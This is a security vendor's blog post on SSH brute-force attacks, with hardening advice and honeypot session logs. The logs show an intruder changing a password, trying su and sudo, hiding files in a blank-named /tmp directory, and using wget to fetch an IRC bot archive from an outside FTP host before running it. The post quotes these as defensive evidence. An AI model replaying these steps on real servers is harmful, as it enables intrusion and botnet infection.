What We’ve Learned About SSH Brute Force Attacks

The first time I encountered brute force attacks I was a hosting specialist who received calls from frustrated site owners that wanted to know who’d gained access to their server. Many of them didn’t understand the importance of a password’s character strength, or how frequent attacks on “root” are as a username, including myself at one point in time. 

I’ve learned more about SSH Brute Force attacks throughout my years at Sucuri. I’ve come to understand the various methods an attacker can use to gain access to a server, as well as the techniques to prevent that access from being obtained.

Methods such as gaining root directory access with local root exploits or symlink attacks are still possible, but can be avoided if the server is up to date and file access is only permitted to the users assigned home directory. If a hosting provider supports custom cron jobs, custom procmail rules (a program to filter electronic mail), or even cgi-bin scripts (a folder of scripts that communicate with the server), attackers can create a custom php.ini file to overwrite the restrictive rules set by the server provider. 

A lot of site owners are under the impression that a hacker needs root directory access to a server, yet attackers can actually link a sub directory within the site to the website home folder “/” directory, allowing them to browse the entire server.

The best suggestion to curb Secure Shell (SSH) attacks is preventing Apache from following symlinks; “Options -FollowSymLinks” (or “SymLinksIfOwnerMatch” to only allow links from the same user), preventing end-users from overwriting the default security rules (“AllowOverride None”), and setting tight permissions on your server. There’s always the option to disable root SSH login, and enable it on a case-by-case basis for specific users that require the access. 

Some of you may be familiar with setting up a honeypot to detect this type of attack, as mentioned by our founder Daniel Cid in a previous blog post. This method involves installing a modified SSHD on a clean server that logs all login attempts, including all passwords, which stores all sessions. 

It can be useful to see the attempted passwords used to have a better understanding of the type of passwords an attacker may be utilizing. Sites such as haveibeenpwned.com regularly update their collection of breached passwords. Keep your password off their lists by setting unique passwords for each login. 

Once an attacker gains access through SSH, they may not modify anything. This helps them remain undetected, or they may choose to update the password to a more secure one so nobody else has access. Here’s an example of a session dump from an attacker doing so:

Last login: Wed Jul 10 23:05:35 2013 from otherserver.de

oracle@HONEYPOT:~]$

oracle@HONEYPOT ~]$ passwd

Changing password for user oracle.

Changing password for oracle.

(current) UNIX password: 

New password: 

Retype new password: 

passwd: all authentication tokens updated successfully.

oracle@HONEYPOT:~]$ logout

Please note “HONEYPOT” isn’t what the attacker actually sees, as they’re seeing a fake hostname and site on the server instead. Based on the SSH scans from our honeypot analysis, we’re able to see the user “oracle” being used the most. The attacker is able to successfully login with that “oracle” user, and now change the password. 

Once an attacker gains access, they’ll then try to increase the user’s privileges to root, as seen here:

[oracle@HONEYPOT ~]$ w

 23:46:08 up 4 days,  4:58,  1 user,  load average: 0.00, 0.01, 0.05

USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT

oracle   pts/1    111.90.151.149   23:45    0.00s  0.02s  0.00s w

[oracle@HONEYPOT ~]$ ls -all

total 20

drwx—— 2 oracle oracle 4096 Jul  8 14:50 

-rw-r–r– 1 oracle oracle   18 Dec  2  2011 .bash_logout

-rw-r–r– 1 oracle oracle  176 Dec  2  2011 .bash_profile

-rw-r–r– 1 oracle oracle  124 Dec  2  2011 .bashrc

[oracle@HONEYPOT ~]$ su 

sudo su

We trust you have received the usual lecture from the local System

Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.

    #2) Think before you type.

    #3) With great power comes great responsibility.

[sudo] password for oracle: 

oracle is not in the sudoers file.  This incident will be reported.

oracle@HONEYPOT:~

[oracle@HONEYPOT ~]$ su

Password: 

su: incorrect password

[oracle@HONEYPOT ~]$ cd /tmp

[oracle@HONEYPOT tmp]$ mkdir ‘ ‘

[oracle@HONEYPOT:/tmp

[oracle@HONEYPOT tmp]$ cd ‘ ‘

[oracle@HONEYPOT:/tmp/ 

[oracle@HONEYPOT  ]$ wget ftp://dmitri:123123@200.63.46.99/mech.tgz

–2013-07-09 23:48:01–  ftp://dmitri:*password*@200.63.46.99/mech.tgz

..

Logging in as dmitri … 

Connecting to 200.63.46.99:21… connected.

Logging in as dmitri … Logged in!

==> SYST … done.    ==> PWD … done.

==> TYPE I … done.  ==> CWD not needed.

==> SIZE mech.tgz … 374664

==> PASV … done.    ==> RETR mech.tgz … done.

    [<=>                                    ] 0           –.-K/s              

 

[oracle@HONEYPOT  ]$ tar xzvf mech.tgz 

webmail/

..

webmail/run

[oracle@HONEYPOT  ]$ cd webmail/

[oracle@HONEYPOT webmail]$ ./start sunacai

######Multi Emech on Undernet######

#####      bil TheDemon       #####

%%%%%%%% 

 Undernet !!!    %%%%%%

Am gasit 1 ip-uri

SERVER Montreal.QC.CA.Undernet.org 7000

[oracle@HONEYPOT webmail]$ w

 23:49:27 up 4 days,  5:02,  1 user,  load average: 0.07, 0.03, 0.05

USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT

oracle   pts/1    111.90.151.149   23:45    7.00s  0.05s  0.00s w

[oracle@HONEYPOT webmail]$ logout

In this session, they ​​tried to “su” (become root) and launch an IRC bot. These are the first steps an attacker will take. They’re ​​often patient, and will come back many times trying to use exploits to obtain root access.

In Conclusion

We still encounter brute force attacks through SSH, utilizing the same methods. As long as people are still using weak, repeatedly used passwords, bad actors will find a way in. Brute force attacks can occur through various interfaces like FTP and admin panels as well (such as Joomla Drupal, WordPress, etc). Check out our  services for protecting sites from brute force attacks. 

The first suggestion is to use SSH keys and disable password authentication, but if you’re unable to do that, we highly recommend using strong passwords not used repeatedly. We also recommend whitelisting the specific IPs that can login to the server, and blocking everyone else out. If you’re unable to use whitelisting however, we also recommend using OSSEC (open source IDS) to detect brute force attacks. As a last resort however, there’s the option to disable SSH entirely, unless it’s absolutely necessary to be enabled.